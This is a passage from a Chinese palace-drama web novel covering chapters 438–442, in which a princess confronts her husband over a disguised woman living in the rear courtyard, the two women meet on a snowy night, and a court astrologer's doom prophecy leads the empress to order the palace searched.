然她却终是踩着自尊,最后屈身嫁给了一个异国庶出卑微不说,且并不被其父皇所看重的皇子。 即便如此,她也一直信誓旦旦地以为,自己总算是如愿嫁给了爱情,所以所有的选择和牺牲都是值得的。 尔今,直到出现了后院里的那个女人,那个不知为何就是不愿意承认自己身份的女人。 至此,她人生第一次迟疑了:如此,她又算得上是什么呢? 这一天下来,到最后她不断地说服自己,不断地妥协,她甚至都已能接受了梅志煊与这世间所有的男子一样,三妻四妾无可厚非,理所当然。 可无论如何,她就是不能说服自己接受与衣上云一道共同分享这个男人。 至于期间原因,太多太多了…… 想着想着,她忽然泪眼朦胧着朝前方那个高大的身影边疾步飞奔了上去,一把从其身后紧紧地将其腰身环抱拥住,委屈极了地道:“殿下,为什么?为什么一定要是她,这到底是为什么?” 梅志煊其实早已觉查到了寝宫里她的存在,他的心里又岂会不知,自己心里一直以来所有的担心俱都还是一一出现了。 然这一拥,他的心头不禁却还是为之震了一下。 片刻后,他默默地缓缓转身,展开臂膀反将她拥入怀中,眼里对她满满的皆是又爱、又怜、又心疼,夹杂着极尽的温柔。 他将自己光洁的下巴抵在她的额头,柔声关切地问道:“玥儿,你这是怎么了?” 轩辕玥缱绻依偎在梅志煊温暖的怀抱,蹙眉失落地忽然炸出一句,问:“殿下,你是不是早就已经认识云儿了?” 果然是因为她,沉默了片刻,梅志煊知道自己已是隐瞒不了,也已没有这个必要,没想到事情的发展竟然比自己设计预想的还要好,还要快,于是实话实说道:“是!” 闻此,轩辕玥心里顿时一惊,稍一思量又猜测着继续问:“殿下认识云儿,是不是比认识玥儿还要早?” 终是说不出口的秘密,梅志煊只能在自己的心里默默地道:“我与她,算是打从她还没有出世时起便就已经认识了吧!可玥儿,我究竟该如何与你说清这件事呢?眼下里一切正值关键时刻,请原谅我的自私,我这么做,也是为了我们一家三口的未来。玥儿,对不起。未来总有一日,你都会一一明白。” 只见他最后深深地提了口气,思量再三,开口坦然地简单几个字答道:“是,没错。” 至此半晌里,俩人皆都是静静地沉默着,再无一人说话,仿佛全世界都静止凝固了一般。 俩人只一起瞩目凝视着眼前的这对相依相伴,双双舞动着的神蝶,然心里却似是各自都已经暗暗做出了某种决定。 “啪” 寂静的寝宫里,忽闻一极其响亮的巴掌声响起。我爱电子书 原是轩辕玥一把推开了梅志煊的怀抱,并倏地转身将一记重重的耳光措不及防地落在了他英俊白皙的脸庞。 似是咬牙还在努力隐忍着内心的极大愤怒,对其恨恨地道:“梅志煊,我恨你……” 梅志煊丝毫来不及顾及自己那半边吃痛的脸,忙复又伸出手臂去想要将轩辕玥再次拥住,启料轩辕玥却后退了两步闪开其朝自己伸过来的手。 无奈,梅志煊只能急急朝其解释道:“玥儿,有些事,并不是你所想的那样。我发誓,未来总有一日,你会明白我今日所做的一切都只不过是为了你,还有我们的海儿。” 望着眼前的这个男人,她从未有过现在这般满腹怀疑,片刻后颤声着问:“是吗?” 梅志煊点头声声直道:“是,是,玥儿你相信我。” 不得不否认,直到现在,轩辕玥对他,还是心存着最后那么一丝丝希望,于是沉声着道:“如果是,那么,请给我一个解释,让我相信你所说的一切都是真的。” 梅志煊惊讶地看着她的眼睛,却是什么都说不出来,最后只重复着道:“解释?” 轩辕玥眨了眨眼睛,强忍着内心的伤痛打起似是最后一股精神来道:“对,比如殿下亲口告诉玥儿,说后院里所住着的那个人,那个所谓的落难公子,那个整日里被你的贴身婢女寸步不离地守着不许任何人接近的人,她其实不是一名女子;她真正的身份不是西秦国一药师府上的千金小姐;她…她真实的名字不是叫做衣上云。” 看着轩辕玥怔怔地望着自己的眼睛,从未如此认真地一字一句说完这段话,梅志煊沉默了一会儿,遂深吐了口浊气道:“我费尽心思地把她在东宁国里藏来藏去,没想到,终究还是被你给发现了。” “哼……”轩辕玥冷哼了一声,接着道:“虽然玥儿不及殿下阅人无数,可对衣上云,她即便是化成了灰,玥儿也能将她一眼认出。况且,‘女扮男装’那还都只是些玥儿小时候早已玩腻了的小把戏。殿下未免也太小瞧玥儿了吧?!” “玥儿,我……” 一激动,梅志煊似是还想说些什么,却是话刚一开口,又将其全都咽了下去。 显然,他终究还是十分清醒的,事关重大,所有成败皆在此一举,在此一人,他不敢在轩辕玥的身上赌,也赌不起。 而此刻,在轩辕玥的心里,眼里,她又是多么希望能够听到梅志煊一句发自肺腑的真心话。 渐渐地,她甚至已经说服自己,这会儿哪怕他只是随便编个理由来哄哄她,她也是能够相信和原谅她,继续与他和好如初,过自己一直以来睁一只眼闭一只眼的糊涂日子。 可即使这般简单的要求,他竟也不能满足她。 一念至此,她绝望地渐渐闭起了眼睛来,泪水瞬间流出滑落。 她深深地吸了口气,最后,竟没有再对他说一个字,转身恨恨离去。 “玥儿,夜已深了,你要去哪里?” 见她终是满眼失望,失魂落魄地朝寝宫门外缓步踱去,梅志煊心里忽然着急了起来,忙问。 “从今夜起,我搬过去与海儿同住。”轩辕玥忽地驻足停了下来,沉声说道。 梅志煊上前两步着急地问:“玥儿你这是做什么?” 轩辕玥反问:“那殿下又可知自己在做什么?” 梅志煊一听,瞬间拿她已然没了办法,只能沉住气来道:“难道你非要如此与我说话吗?” 闻之遂想了一瞬,轩辕玥忽然发出了一阵冷笑声来:“呵呵……” 这笑声,似是在嘲笑自己为何还要驻足停留于此,她本应该已毫无眷恋地决绝离去的,又似在后悔她一直以来所做的所有决定和事情,在这一刻,在这个男人的面前,一切都显得是那样的自作多情、愚蠢至极。 见她最后终是一脸决绝地头再也不回地稳步迈出了寝宫,梅志煊朝其背影扬声大声地唤道:“玥儿,你给我回来!” 启料轩辕玥提起裙摆来,前脚刚一迈出寝宫的大门,便闻身后顿时传出来“咔嚓嚓……”一阵颇为清脆的像是琉璃瓶砸落在地面上碎了一地后所发出的漫长的声音。 闻此,轩辕玥轻轻磕上了眼眸顿了顿,复又将其张开来大步离开…… 第四百三十九章:初雪的夜晚 “公主,不要再哭了,奴婢求求你不要再哭了,好不好?若是您再继续这样哭下去,怕是不但小殿下就要被你的哭声给吵醒,就连您的眼睛亦要哭坏了。” 夜半三更,从屋内徐徐传出婢女锦兰焦急万分似是亦都快要哭了的声音来道。 打从寝宫里与梅志煊颇为不悦的一场谈话后,轩辕玥果然回到了爱子的屋内。 一进门,她便再也忍不住一头扑了过去趴倒在孩子正熟睡的榻沿上,望着那圆嘟嘟,粉扑扑天真无邪的小脸孔哭了起来。 直至如今已是半夜,轩辕玥却是至今一天里都滴水未进,屋内案几上摆着的几道其平日里最喜欢的菜式冷了,又热,热了,复又变冷,来来回回,已然不知门外那守夜的婢女已悄悄拿出去热过了多少回? 夜里的天气愈发的冷,屋外西北风呼呼的刮着,屋内任锦兰如何劝解,她亦是悲伤地久久收不了声。 那俩人,一个,是自己这辈子曾经唯一那般信任的知己朋友;一个,则是自己心心念念,千辛万苦乃至于付诸了一切将自己终身俱都托付的命中良人。 可如今,万万没想到,他们于自己,却变成了一把双刃剑,狠狠又绝情地扎在了自己的心头,让她痛不欲生,让她不能喘息,让她求生不能求死不得,让她茫然地不知自己接下来的人生究竟该何去何从? 唯有伤心的泪水如同断了线的珠子一般,不能自已地止不住夺眶而出。 立在其身旁的锦兰,看着昔日里曾是那般骄傲与尊贵的主子,即便哪怕是在只身来到这异国他乡个个俱都如狼似虎的后宫里,一点点地丢失她的本性,不停地妥协避让,也没有像现在这样从小到大从未有过如此的失落和难过,她的心都碎了! 不想增加主子的难过,可又无法排解心中此时的苦闷,只能悄悄瞥过脸去欲掩面而泣,竟看到窗外不知何时,簌簌落起了雪来,便听她惊声默默地道:“下雪了!” 转念一想,锦兰的嘴角忽然勾起一抹浅浅的弧度来转回脸对着榻边的轩辕玥道:“听闻东宁国百年难遇一场降雪。去年公主嫁来此地的第一年,也是一粒雪都不曾飘落。不成想今年第二年,竟如此之早便落起了雪来。奴婢记得,从小到大,公主最喜赏雪了。不如,让奴婢陪公主出去院子里走走,可好?” 终于,轩辕玥总算是渐渐收拾起了心情来起身,答应了锦兰。 俩人遂一起添上了早已准备好过冬用的厚厚的斗篷披风,锦兰替轩辕玥仔细整理并遮好风帽,又挑起一盏宫灯来照亮前路,这才一起提步走出了门。 一出门,轩辕玥便仰起头来被空中正漫天飞舞着的鹅毛大雪惊呆了。 她情不自禁地缓缓走下台阶,伸出一只手去接住了几片晶莹洁白的雪花,欣喜地看着其静静地躺在自己的掌心里快速地消融去。 曾经年少的自己,是那般地贪恋皇窗外的好风景。可是,后来又究竟是什么,让她变成了今天的模样。 她讨厌极了如今这样优柔寡断,渐渐迷失自我的状态。 看到漫天皆是无情的雪,想起方才与梅志煊之间的那番谈话,明明皆都是那样地令彼此寒心,余生,又有谁能赔她度过这漫长孤寂的光景流年。 忽然间,她似是明白了些什么,低声默默地自言自语道:“若是人与人之间的所有相逢,皆是前世早已注定,只能痛并快乐着。那么,我是不是也应该试着去接受这个事实,接受她……” 想着想着,看着看着,她忽然舒展开来不知已蹙起了多久的眉头来,渐渐地阖上双眸,似是极为享受地道:“锦兰,你听……” 她闭着眼睛,幻想着这场雪永远都不会停下来。不知为何,又默默地流起了泪来。 “公主为何又落泪了?”锦兰看见疑惑地问。 轩辕玥道:“锦兰,还记得那年为了替本公主求情,云儿她大胆向父皇谏言,被父皇责罚在风华宫的门口跪了一天一夜吗?” 当年,如此震动了整个西秦宫廷的事情,锦兰怎会忘记。 一想起过去在西秦里的种种回忆,点点滴滴,泪水顿时模糊了双眼,可一想到如今衣上云竟然背叛了她的主子,锦兰直恨得牙痒痒,遂破口大骂起来。 “活该!如今奴婢还嫌当时皇上罚那贱人罚的不够呢!亏得当初公主还彻夜难眠想尽办法帮她,早知今日,当初就不该请秦王殿下救她。为了从北烈将她寻回,秦王殿下都已经……那个女人,她就是个丧门星,谁粘上她谁倒霉!”爱中文网 闻此,轩辕玥却沉默了。唯有其脸上那早已分不清是被雪花落上消融后,还是泪水滑过所留下的淡淡痕迹,在院子里昏暗的长明灯照耀下,闪闪发光…… 孰不知,俩人之间的谈话,刚好被同样夜不能寐的衣上云俱都听入耳中。 此时,她正坐在隔壁小花园的墙头上,一个人静静的赏着雪。 依旧是男子打扮,身披着一墨蓝色斗篷,痴痴地望着隔壁院里的主仆俩,表面看似毫无波动,内心却早是波涛汹涌起来。 “秦王”俩个字,如今于她而言,早已成了最致命的毒药亦或伤痛。可她无论如何都不能接受,正是眼前的这个人的亲生父亲,亲手做局害死了她心心念念的人。 “殿下枉死,如果云儿不替您报仇雪恨,让天下人皆知那个高高在上,却是一副人面兽心的狗皇帝如此卑劣之行为,那云儿如此苟活于世,还有什么意义?” 她恨恨地说着说着,遂伸手缓缓从斗篷里的夹层内掏出一张信笺来将其展开默默念道:“天涯海角,云心永系玥……” 一念完,竟“哗啦”一下,两只手一道一道地将其撕扯地粉碎,脸上似还带着无尽自嘲的笑容。 就在这时,似是已寻其许久的巧兰、巧慧俩婢女终于瞥到了她的身影。 远远地一看见,巧兰心里顿觉咯噔一下,驻足紧张又惊诧地道:“老天啊!” 遂加快了脚下的脚步朝其近身过去,边走边说道:“公子,你怎么爬那么高?!这大半夜里黑灯瞎火的,竟也不知打一盏灯,仔细摔着了这可该怎么办才好?到时候三皇子殿下若是怪罪起来,咱们岂不是都吃不了兜着走吗?你快……” 许是夜里太黑,直至其快步至衣上云脚下的位置,方才看到衣上云正将手指堵在唇边朝二人做嘘声之势:“嘘,嘘,嘘……” “公子这是怎么了?”巧慧见了,不解地问。 “嘘,嘘,嘘……”衣上云只继续朝二人做着嘘声的动作。 俩婢女一见,遂高高打起来各自手里的灯笼赶忙朝四下里照了照,并未见有任何不妥。 就在俩人俱都纳闷不解时,从隔壁院里传来一阵呵斥声道:“是谁如此大胆,竟敢爬上墙头偷听我家娘娘说话,还不快出来!” 顿时间,俩名婢女一起张大了嘴巴对着衣上云惊呆了,这才意识到她方才为何一直都不敢发出声来。 衣上云恨恨地瞪了巧兰、巧慧一眼,遂转身过去“倏”地一下,便神不知鬼不觉,看似极其熟练地纵身从墙头跃了下去,上前到正一脸惊诧的轩辕玥面前,朝其参拜道:“草民参见娘娘。” 而轩辕玥仅闻其声,似是已经辩清楚了面前人的身份,只一动不动地凝视着她低垂的脸,不知在想些什么。 未及其开口说话,婢女锦兰一见主子痴呆的神情,便忙打起手里的灯将其照过去一看,待刚一看清楚便阴阳怪气地道:“哦,这大半夜的,我还以为是个贼呢?原来是隔壁的‘恩公’啊!” 说完,还不忘朝其冷冷地“哼”一鼻子,继而撇过脸去,似是一副极为不屑再看她的样子。 衣上云一时间不知道该做如何解释,忽瞥见眼前的纷纷飘雪,灵光一闪道:“启禀娘娘,草民方才只是在屋内看到窗外落雪了,便想出来瞧瞧,这才……” 锦兰一听便来了气,复又回看向她,鼻子不是鼻子,脸不是脸地道:“恩公也看到落雪了?既然看到落雪了,难道就没让你想起些什么吗?” 衣上云一时未反应过来,遂一脸茫然地跟着其重复了句:“看到落雪了,想起些什么?” 锦兰怒瞪了她一眼,道:“哼……不妨让我提醒一下恩公。比如想起某些人,曾经被雪地里罚跪,害得我们公主彻夜未眠,想办法为她搬来救兵,这才保住了她一条贱命。” 闻此,启料衣上云却只沉声称赞了句:“娘娘真是心善……” 锦兰一听这话,再也忍不住压抑在心头一整天的怒火,顿时忿忿不平地朝其破口大骂道:“衣上云,我家公主待你曾经那般地好,你就不怕这样做会遭到报应吗?事到如今,难道你还不肯承认自己真正的身份?早知会有今日,罚跪当夜便就应该冻死你,免得你今日里到处招摇,丢人现眼,忘恩负义,喜新厌旧,夺人夫君……” 第四百四十章:雪落下的声音 “衣上云,我家公主待你曾经那般地好,你就不怕这样做会遭到报应吗?事到如今,难道你还不肯承认自己真正的身份?早知会有今日,罚跪当夜便就应该冻死你,免得你今日里到处招摇,丢人现眼,忘恩负义,喜新厌旧,夺人夫君……” 对于此时出自伶牙俐齿的锦兰之口的这顿措不及防,又颇为刺耳和犀利的一阵谩骂与羞辱之声,介于自己眼下不为人知的特殊身份,以及与其过去终归有过那样深厚的一段感情,故只能咬牙隐忍着。 她知道,即便自己心里有多么地想要复仇,可正所谓是“冤有头债有主”。无论如何,她也不能将念头动在无辜的轩辕玥身上,可俩人也决不可能再回到过去当做什么都没有发生过一般。 显然,如今的一切都已经变了。 可当她最后越听越觉得似是有些不对劲,感到眼前这主仆俩已然像是误会了自己,竟以为是她处心积虑地要抢她的夫君,便再也忍不住正想要开口朝其解释些什么:“娘娘该不会以为是……” 就在这时,巧兰、巧慧俩人已经从隔壁花园里绕道而入近身了过来。 远远地,便闻巧兰开口维护其道:“锦兰姐姐如此不客气地对殿下的贵客说话,怕是有诸多不妥吧!” 众人闻声,皆都不约而同地朝声音所发出来的方向望去。 巧兰、巧慧遂快步上前到衣上云的身旁,深看了她一眼,继而朝轩辕玥躬身行礼道:“奴婢参见娘娘!” 这时,巧兰微笑着开口替其解释道:“娘娘,这位公子本就不是宫中之人,不识宫中礼数。所谓‘不知者不怪’,深更半夜的,公子也只是一时兴起为了赏雪而已,若叨扰到了娘娘,还望娘娘看在殿下的份上,多多见谅!” 看到来人总归算是梅志煊身边的人,不想下人们对主子之间的事有所猜忌,轩辕玥正想开口对其说些什么,锦兰着急上前将其打断。 “巧兰,若不是因为你是三皇子殿下身边的人,想必今夜自是连这个院子的门也是进不了的,更别说替这个窥探娘娘院子的大胆狂徒求情了……” 巧兰一听见这一开口便极不中听的话,已然不想再听下去,遂忙将其阻止,惊讶地道:“‘大胆狂徒’,锦兰姐姐此言差矣,莫不是这么快便忘了白日里咱们家娘娘刚刚还在后院里欲以厚礼相赠这位公子,以表谢意呢?怎么一到夜里,就如此小小误会,尚还未见娘娘说些什么,倒是姐姐这字字句句里又是冷嘲热讽,又是夹枪带棒的,不知终久是个什么主意?这宫里人多嘴杂,不知道的人还以为是咋们娘娘对下人们疏于管教,喧宾夺主了呢!” 闻此,锦兰顿时怒火中烧了起来,忿忿不平地脱口便出道:“巧兰、巧慧。我们家娘娘平日里待你们姐妹不薄,你们俩莫要与这贱人同流合污。你们可知,他根本就不是什么男儿之……” 这时,轩辕玥似是终于从自己沉沉的思绪当中清醒了过来,忙开口厉声将其打断道:“锦兰,还不快住嘴!” 锦兰心里实在替轩辕玥不值,依旧气不过地道:“娘娘,她们一个个都如此放肆……” 启料话刚开口,抬头一对上轩辕玥正投向自己严肃至极的眼神,终是最后只发出一声长叹来:“唉”,继而无奈地默默收了声。 然轩辕玥则转目兀自抬起头来,仰视着夜空中此时似是愈来愈猛烈的漫天飞雪半晌后,渐渐阖上了眼眸。 好似是在全身心投入地静静聆听这天地间,一个只有她一人能听到的声音,那是雪落下的声音。 她忽然觉得好像自己与这纯洁干净的落雪已经彻底融为了一体,忽然间,她终于明白了。 只见她最后缓缓舒展开那不知已皱了多久的眉头,竟淡淡地笑了起来。 片刻后,她睁眼目光定定地看向了衣上云的眼睛,对她温柔地道:“原来,雪落下的声音,无论是在故国亦或他乡,都是一样的美!无论你是‘衣上云’,亦或又是‘恩公’。本宫都希望,你也同本宫一样,会喜欢上这东宁国里雪落下的声音。本宫静候着,余生能与你一道看这宫里年年岁岁的繁花花开花落,云卷云舒。” 话一说完,她深深地看了她一会儿,便转身碎步朝着屋内方向头再也不回地径直回去。8090中文 锦兰遂朝余下众人怒瞪了一眼,亦紧随其脚步匆匆离去。 至此,一时间里,整座院子忽变得异常安静,唯只听到耳畔边传来簌簌不断的雪落下的声音,如歌,又如泣。 衣上云愣愣地站在雪地里,凝视着轩辕玥离去的背影许久许久,忽然亦微笑了起来。 恰时,她亦缓缓转身,在心里默默地道:“公主,你我心里其实皆都知道,此生,这已是再也不可能的事了,一切都已经变了。” 至此,白茫茫一片寂静的夜里,大地万物不知何时竟已经被茫茫大雪所渐渐覆盖,而俩个正值青春年华又亦或是受命运安排的妙龄女子之间,曾经那般难得的无话不谈,真挚的一份友谊,就这样在各自的缓缓转身各自离去之间,渐渐开始变得模糊,俩人渐行渐远…… 直到黎明的第一缕曙光降临,扬扬洒洒了一夜的雪似是依旧没有丝毫停止的感觉。 天一亮,皇宫内外到处一片白雪皑皑的世界,朵朵雪花便像是天地间一只只美丽的玉蝴蝶,似舞如醉;又像吹落的蒲公英似飘若飞,布满山川河流;更加宛若是天使的赏赠,滋润大地万物生长。 而就在所有东宁国子民俱都携同一家老小一起走上大街小巷,脚下“咯吱咯吱”地踩着幸福,欢天喜地,手舞足蹈,举国欢庆这场百年难得一遇的祥瑞之兆时,皇宫里正在悄悄酝酿着一场不太平。 早朝刚下,在继后偌大的宫殿里。 此刻正跪着一名身着官服,留着一撮山羊须的四旬清瘦男子, 那人许是不知为何自己会被忽然传唤至此,遂趴在冰冷的地板上将头埋得很低很低。 继后则一袭凤袍加身,高高端坐于上,满头珠翠,一身的雍容华贵。 只见她颇为蔑视地朝殿内下跪着的那人睨了一眼,继而兀自捧起一盏热茶汤来轻轻抿了几口,方才看似慈眉善目地开口问起下跪的人。 “太史大人,本宫今日特地请你来,是想请教大人,不知大人在朝中其职责所在是什么?” 闻声,那下跪的人垂首悠悠答道:“启禀皇后娘娘,《诗经?幽风?七月》中有云‘七月流火,九月授衣。一之日觱发,二之日栗烈。无衣无褐,何以卒岁。三之日于耜,四之日举趾。同我妇子,馌彼南亩,田畯至喜。’讲的便是天气变化,故负责天象历法、天文地动、风云气色、律历卜筮等就是尔等太史令之职。” 继后一听,稍一思量便故作不解地道:“哦?这研究天象历法、天文地动、风云气色、律历等都是有利于民的好事,本宫尚且还都可以理解。不过,这‘卜筮’不是一种巫术吗,本宫竟不知本朝的太史令们几时起也研究起巫术来了?” 闻声,那太史心中顿时惊了一下,忙抬起头来朝其解释:“臣惶恐,皇后娘娘有所不知,《周易》本经实际上就是为卜筮而设,想任何人都不能否认《周易》是卜筮典籍的事实。从某种角度来说,卜筮是能够用一系列系统,来解释人们所能遇到的各种问题,这本身就颇具哲学意味。具体言之,卜筮并不象许多人所误解的那样,纯粹靠胡说八道,而是有着极严格的系统,其中有相当多的标准都是非常客观的。上古时期,卜筮由卜官掌管,多用来预卜军国大事……” 未及其津津乐道地将话说完,继后忽重重地拍了一把手边的案几,朝其扬声勃然大怒道:“够了!死到临头,竟还如此理直气壮,口出狂言!” 那太史紧忙垂目下去,不明所以,又有些战战兢兢地道:“微臣惶恐,皇后娘娘请息怒!” 继后震怒道:“身为太史,你上不替皇上分忧,下不为百姓造福,却是满嘴里尽是胡说八道,居然胆敢用巫术对皇上及满朝文武大臣扬言说什么这场悄然而至的落雪乃是一股祥瑞之气扑面而来,预示着我东宁国将有贵人降临?如此妖言惑众,依本宫看,你是活得不耐烦了才对!” 那太史听闻此话,心里顿时恍然大悟,遂深感惶恐地为自己辩护道:“回皇后娘娘,一直以来,雪的确都被称作是一股祥瑞之气。想我东宁国百年以来,一年四季皆是常年如春,从未有过落雪。然经臣等多年以来日夜观天象,终于盼到了这股瑞气,此天相必然是有贵人降临所致啊!” 见他至今似是依然都不知悔改,继后隐忍着愤怒道:“哦?既然如此,那试问太史大人所说的贵人如今到底身在何处啊?” 太史一脸迟疑着道:“这个,微臣尚还未卜出…” 第四百四十一章:亡国预言 见他至今似是依然都不知悔改,继后隐忍着愤怒道:“哦?既然如此,那试问太史大人口口声声所说的贵人如今到底身在何处啊?” 太史一脸迟疑着道:“这个,微臣尚还未卜出……” “哼……”继后听了顿时冷冷地朝其哼笑了一声,眼里极具轻蔑。 继而仰起头来沾沾自喜自豪地道:“想我东宁国如今正值鼎盛之际。国运昌盛,政治开明,人才济济,疆域辽阔,国防巩固,百姓们安居乐业,在灵空大陆上可谓是富甲一方,无比繁荣昌盛。如此这般国泰民安,风调雨顺之势,还需要什么贵人相助?!” 稍一思量,忽地怒瞪向那至今依旧下跪着的太史令,态度变得格外严肃认真地厉声训斥其道:“依本宫看,明明就是你太史大人唯恐天下不乱,无中生有,蛊惑人心,有意扰乱我朝朝纲,不知是何居心?” 然那太史闻声,怎料却并不是很害怕的样子,只俯身下去继续朝其谏言:“皇后娘娘请息怒。微臣虽然尚还未卜出带来这股祥瑞之气的贵人其具体方位之所在,但却已知该女子如今已然是身在我皇宫大院之内。况且正所谓是‘居安而思危’,且娘娘有所不知,臣等日夜观天象,发现数日前起,原本越来越暗淡的紫薇星如今却是变得忽明忽暗起来,想那时候便定是贵人入宫来之时,怕只怕是……只怕……” 继后闻之顿时朝其一怔,一种极不好的预感涌上心头,遂扬声喝道:“只怕是什么……还不快说!” 太史欲言又止,却已然是话已开口,如箭在弦上,不得不发,最后只能咬了咬牙怯怯地道:“只怕是,只怕是我东宁终将逃不过这场亡国之灾啊!” 继后一听,惊的顿立起身来乃至于发力太猛一个没站稳,连身子亦不禁摇晃了一下,身旁的婢女见了紧忙着急地上前欲伸手将其扶住,遂关切地道:“皇后娘娘!” 然继后却伸手将其阻止,尚来不及理会她们,遂又指着那人紧忙回过神来朝其勃然大怒,激动地道:“大胆,你,你说什么亡国,这,这两个字岂能也是你一个小小太守令能随便说出口的嘛。” 等不及再说下去,便急声唤来侍卫:“来人,快来人,还不赶紧给本宫将这个口出狂言之徒拿下,拖下去关入天牢,待本宫禀明皇上后好好治他的罪。” “是”闻声,门外瞬时进来两名侍卫,便将其强行从地上拎了起来,拖了出去。 那太史令被一边拖出宫殿,一边仍歇斯底里地扬声呼喊着:“真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生。我东宁就要亡国了,就要亡国了啊,陛下,陛下……” 听着那人发出来的阵阵撕心裂肺,凄惨至极的呼喊声,继后怔怔地立在大殿中震惊呆了。 着实因为愤怒,又因为害怕,亦或不可思议,只觉得自己牙齿“咯噔咯噔”不停地直上下打着颤。 沉思了片刻后,方才缓缓再次落座下来,却是语无伦次地自言自语着:“不可能,这绝不可能,这个太史令他一定是疯了,对,一定是疯了……” 说完一转念,却又想起那太守方才的话来暗自默默地重复道:“一名数日之前入宫来的女子,女子……” 忽然,她开口再次朝殿内所有人命令道:“来人,给本宫仔细地搜一搜,在这座皇宫之中,近来到底都混入了什么样的诡异之人进来。就算掘地三尺,也务必要将那个贱人给本宫找出来,本宫一定要亲手扒了她的皮!” 听到继后咬牙切齿恶狠狠的坚决命令,众人领命道:“是!” 早朝过后,东宁国君书房里。 “吱呀”一声。 一年轻侍卫推门而入,手里捧着一红色龙纹雕花的木茶盘,里面盛着几碟精致的点心和一壶热气腾腾的红茶,暖暖地将其送到了东宁国君书房的暖榻边,满脸欣喜地道:“皇上,今儿个天气格外的冷,皇上喝点儿热红茶润润嗓子,也顺便暖暖身子吧!” 启料东宁国君看也不看其一眼,兀自一脸严肃地坐在书案边尚还沉浸在自己沉重的思绪之中发着呆,只有口无心地轻声答了句道:“放着吧,朕现在没有胃口。” 年轻侍卫看了眼暖榻的案几上摆着的一桌残局,嘴角噙着一抹浅笑,开口赞道:“呦,皇上早朝后和太史大人的这场棋局,看来马上就要赢了嘛!” 东宁国君静默了一会儿,沉声道:“棋局正在收关,眼前虽占上风,但一着不慎满盘皆输的例子也不少。” 说完,复又沉默了下来。 年轻侍卫放下手里的东西,看到主子脸上从未有过现在这般的忧郁和无助,便开口问道:“皇上可是依然还在为今日早朝上太史令大人的卜筮而烦心?” 东宁国君并没有说话,遂只发出长长的一声叹息:“唉……” 年轻侍卫遂一边倒着一盏热茶,一边劝解道:“所谓的卜筮,毕竟只是对未来即将发生的事物的一种预测而已。既然只是预测,当然不一定会成为事实!如此,皇上又为何这般的杞人忧天?或许,灾难尚还未来临,皇上您的身子就已经被您的忧愁给愁垮了。” 闻此,东宁国君心中似是终于有了一丝丝动容,遂一边伸手接过侍卫递上的茶汤,一边道:“有些事,你不知道。若今日早朝上是别人的卜筮,朕或许根本不会将其如此放在心上。可那却偏偏是张大人的卜筮。你可知,张大人的卜筮之术,尤其精准。” 看着年轻侍卫对自己投来异常好奇的眼神,东宁国君饮了口手里的热茶汤,遂幽幽回忆起往事来。 “记得那年正值烈日炎炎似火烧的季节,我东宁国举国上下,皇宫内外,却被一场前所未有的大瘟疫所席卷。那一年,亦是张大人刚入朝来的第一个年头,当时他年纪轻轻,却意气奋发。当朕和满朝文武大臣、太医们皆都对疫病束手无策的时候,张大人他初生牛犊不怕虎便已卜筮预测到那场瘟疫,定会有贵人远道而来相助我东宁度过此劫。果然,最后嫡皇后娘娘她从天而降,拯救了我万民于水深火热之中。最终,平息了那场天要亡我东宁之灾。” 对于与嫡皇后有关的过去所发生的点点滴滴的回忆,说着说着,想着想着,东宁老国君的眼里亦渐渐变得湿润了起来。 年轻侍卫遂一脸不解地问:“既然张大人的卜筮之术尤为惊人,那为何没能卜到嫡皇后娘娘会有后来的意外不幸发生呢?” 东宁国君遂长长地舒了口气,回忆着道:“张大人,他当初并不是没有卜到嫡皇后娘娘的结局。相反,打从一开始,张大人便已卜到嫡皇后娘娘她并不属于我东宁,她乃是一个身负特殊使命的女子。张大人也曾执意奉劝朕不要逆天而行,将她强留在自己身边。否则终有一日,必遭亡国之灾。如今看来,这一切,似乎都在渐渐变成现实……” 一念至此,东宁国君忽然将一拳重重的砸在了面前的书案上,扬声道:“这一切,都是惩罚,都是上天对朕的惩罚啊……亡国预言!” 年轻侍卫蹙眉歪着脑袋想了想,心中对此甚觉不可思议,之后忽问道:“那可知,还有什么补救的方法么?” 东宁国君一手支着脑袋,默想了一瞬,道:“除非……” 未及其将话说完,年轻侍卫顿时惊讶极了,忙追问道:“难道真的还有补救之法?除非是什么?” 东宁国君一边想,一边一脸无奈地摇了摇头,否认道:“这是不可能的,一定是不可能的。” 年轻侍卫好奇极了,依旧不放弃地追问:“敢问皇上,除非到底是什么?” 东宁国君遂定了定神,道:“除非朕能找回嫡皇后的亲血脉,只有她,方才能使得我东宁国国运昌隆,长治久安,千秋万代。” “嫡皇后的亲血脉……”年轻侍卫墨发全束,双手环抱着自己,一手摸着自己光亮的下巴,默默地一边思量,低声一遍又一遍地重复道。 忽地反应过来,紧忙道:“那皇上还不赶紧多派些大内高手,哪怕就是要将整个灵空大陆都给翻了个底朝天。想一个大活人,总归不会无缘无故地就此消失不见,总会有迹可循的吧!” 至此,东宁国君终于缓缓地立起了身来,慢慢踱步走到门口屋檐下望着寂静的院子里的漫天飞雪,凝视了片刻后幽幽道:“时光飞逝,这一晃都过去快二十年了。那个孩子,她要是真的能够出生且还活着,那三皇子这么多年来,处心积虑费尽心思地想要以寻回她来博得朕的欢心、感激、与信任,他一定不会找不到她的。怕只怕,她早已随她那固执的母后已化为尘埃……” 看到老国君此时眼里那份深深的忧郁与悲伤,年轻侍卫瞬间亦心里难过极了,然却一时间似是再无一句可劝慰其的语言。 俩人只怔怔立在原地,似是与周围苍茫天地间的一片雪景已定格成一副永恒的图画…… 第四百四十二章:搜宫 雪飘飘荡荡地下着,此时虽已不大,可天地间也是一片模糊,十步之外已看不太清楚。 外面俨然已经成为一个粉妆玉琢,晶莹的世界。 巧慧刚从库房里出来,出门一见,心里顿时不禁有一股说不出的惊喜与兴奋,兴冲冲地忍不住想要去雪里走走。 于是,便随性迈开了步子,时而互相摩擦着两只冻得通红的小手,时而将其靠近唇边哈出一股股热气取暖,如此赏雪,似是无不惬意。 “还不快让开,我等乃是奉皇后娘娘懿旨前来各宫苑里搜查藏匿于宫中居心叵测的细作的,谁敢阻拦?” 果然,继后的命令一出,皇宫内到处便以此为由雷厉风行地开始行动了起来。 这会儿,其中搜查的一队里十几名宫女、太监、侍卫们全都气势汹汹地聚集来到了三皇子梅志煊的宫苑门口。 闻声,巧慧蹙眉疾步上前去跨过门槛将一众凶神恶煞之人拦在了门外,朝来人解释道:“三皇子殿下近日有公务在身并不在宫中,还望各位能否看在殿下的面上,改日待殿下回宫后再来搜查。否则主子不在,到时候咱们做奴才的实在是没法同三皇子殿下交差啊!” 